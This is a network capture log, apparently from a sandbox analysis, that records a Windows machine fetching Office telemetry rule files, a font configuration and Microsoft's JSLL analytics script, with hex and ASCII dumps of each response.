2024-11-20 16:42:01 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:01 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:03 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164201Z-185f5d8b95c95vpshC1NYC759c0000000agg00000000cbd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:03 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:01 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164201Z-185f5d8b95cdcwrthC1NYCy5b80000000ab0000000010yac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:01 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:01 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:02 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:01 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164201Z-185f5d8b95cx9g8lhC1NYCtgvc00000002ug00000000mbfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:02 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49814	2.18.84.141	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:03 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 16:42:03 UTC	512	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=163 Date: Wed, 20 Nov 2024 16:42:03 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 16:42:03 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:03 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:03 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164203Z-185f5d8b95cp7lkfhC1NYC7rpw0000000ang00000000ey6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:03 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:03 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c9ccbc18-001e-0014-5cf1-3a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164203Z-185f5d8b95c5lcmhhC1NYCsnsw0000000adg000000016hdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:03 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:03 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:42:04 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:04 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164204Z-185f5d8b95cdh56ghC1NYCk1x400000004d0000000005rns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 16:42:04 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49822	13.107.246.63	443	6380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:42:04 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 16:42:04 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:42:04 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T164204Z-185f5d8b95crwqd8hC1NYCps680000000ak0000000004eph x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:42:04 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 16:42:04 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-20 16:42:04 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-20 16:42:05 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
